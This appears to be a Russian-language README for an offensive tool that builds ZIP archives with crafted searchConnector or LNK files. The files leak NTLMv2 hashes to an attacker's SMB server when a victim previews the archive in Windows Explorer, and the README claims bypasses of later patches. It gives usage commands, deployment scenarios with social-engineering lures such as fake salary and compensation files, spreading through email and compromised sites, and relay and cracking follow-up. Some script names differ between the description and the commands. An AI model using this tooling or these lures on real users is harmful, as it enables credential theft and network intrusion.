Раскрытие NTLMv2-SSP хэша в Windows File Explorer без единого клика

🎥 Демонстрация PoC + обход патча марта 2025

Нажмите на изображение выше, чтобы посмотреть демонстрацию уязвимости

📋 Технический обзор

Основной механизм уязвимости

Фундаментальная проблема безопасности заключается в автоматической обработке Windows Shell встроенных UNC-путей в определённых файловых форматах во время операций предпросмотра. Когда пользователи открывают ZIP-архивы, содержащие специально созданные файлы, Windows Explorer автоматически разрешает UNC-пути без согласия пользователя, инициируя попытки SMB-аутентификации и раскрывая NTLMv2-SSP хэши на контролируемых атакующим серверах.

Компоненты поверхности атаки

• Разбор файловых форматов: автоматическая обработка Windows Shell XML-файлов оболочки и свойств ярлыков LNK
• Обход ZIP-контейнера: функция предпросмотра архивов, обходящая защиту Mark-of-the-Web (MOTW)
• Триггер аутентификации: автоматическое разрешение UNC во время извлечения метаданных и операций получения иконок

🏗️ Эволюция архитектуры

🔰 Фаза 1: Раскрытие на основе SearchConnector (CVE-2025-24054)

Файл: ntlm-disclosure-poc.py

Эта первая реализация эксплуатирует файлы поисковых коннекторов Windows (.searchConnector-ms) — XML-конфигурации, определяющие места поиска для Windows Explorer. Уязвимость срабатывает, когда Windows автоматически обрабатывает встроенный UNC-путь в элементе simpleLocation во время предпросмотра ZIP-архива.

Технические характеристики:

• Структура полезной нагрузки на основе XML в соответствии со спецификациями схем Microsoft
• Встраивание UNC-пути в элементы searchConnectorDescription
• Автоматическая обработка поисковым индексатором Windows и оболочкой Explorer
• Обход традиционных ограничений на выполнение файлов

🔰 Фаза 2: Обход LNK-in-ZIP (CVE-2025-50154 / CVE-2025-59214)

Файл: patch_bypass.ps1

Этот усовершенствованный метод обходит первоначальный патч Microsoft, используя свойства LNK-файлов. Атака эксплуатирует поведение Windows Explorer по получению метаданных иконок и разрешению путей назначения во время предпросмотра ZIP-файлов, сохраняя вектор эксплуатации без единого клика благодаря тщательной настройке свойств.

Технические характеристики:

• LNK-файлы с UNC-путями в свойстве TargetPath
• Локальные ссылки на иконки для обхода первоначальных механизмов обнаружения
• Автоматическое извлечение свойств Windows Shell во время предпросмотра
• Сохранение легитимности файлового формата при достижении разрешения UNC

🔧 Предварительные требования

🔰 Фаза 1: Реализация на Python (CVE-2025-24054)

# Basic usage
python ntml-disclosure-poc.py 192.168.1.100

# With custom output file
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip

# Example output
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip

Parameters
target (required): Target IP address or hostname
-o, --output: Custom output filename for ZIP package

🔰 Фаза 2: Обход на PowerShell (CVE-2025-50154/59214)

# Basic usage - LNK file auto-removed
.\bypass.ps1 -IP 192.168.1.100

# Keep LNK file for external distribution
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk

# Custom lure name and share
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk

# Specify output directory
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk


Parameters
-IP (required): Target SMB server IP address
-Share: SMB share name (default: 'share')
-File: Target filename (default: 'payload.exe')
-Lure: Social engineering filename (default: 'Your_File_For_Payload_Here')
-OutDir: Output directory (default: current directory)
-KeepLnk: Preserve LNK file after ZIP creation

graph TD
    A[🔴 CVE-2025-24054<br/>Initial Vulnerability] --> B[🛡️ Microsoft Patch]
    B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
    C --> D[🛡️ Microsoft Patch]
    D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
    E --> F[🔴 Current State<br/>Active Exploitation]
    
    style A fill:#ffcccc
    style C fill:#ffddcc
    style E fill:#ffffcc
    style F fill:#ccffcc

🔧 Технические спецификации

1. 📦 Генерация полезной нагрузки
   • Создание вредоносного файла (SearchConnector/LNK) с UNC-путём
   • Упаковка в ZIP-архив с привлекательным именем
2. 📤 Доставка
   • Распространение ZIP через email/веб/загрузку
3. 💥 Эксплуатация
   • Жертва открывает ZIP в Windows Explorer
   • Автоматический предпросмотр файла запускает разрешение UNC
   • Хэш NTLMv2-SSP передаётся атакующему
4. 🎭 Пост-эксплуатация
   • Перехват хэша и relay-атаки
   • Попытки взлома паролей

💀 Сценарии развёртывания

📨 Сценарий 1: Прямое распространение ZIP

# Create ZIP payload
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"

# Distribution vectors:
# - 📧 Email attachments with social engineering lures
# - ☁️ Compromised file sharing services
# - 🌐 Network share drops in enterprise environments

🔄 Сценарий 2: Передача LNK-файла

# Create and preserve LNK file for multi-host deployment
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk

# Cross-host deployment:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Web-based distribution via compromised sites

🎯 Сценарий 3: Целевая социальная инженерия

.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk

Связь с разработчиком

- Group & Contact: t.me/initial_persistence
- Email: [email protected]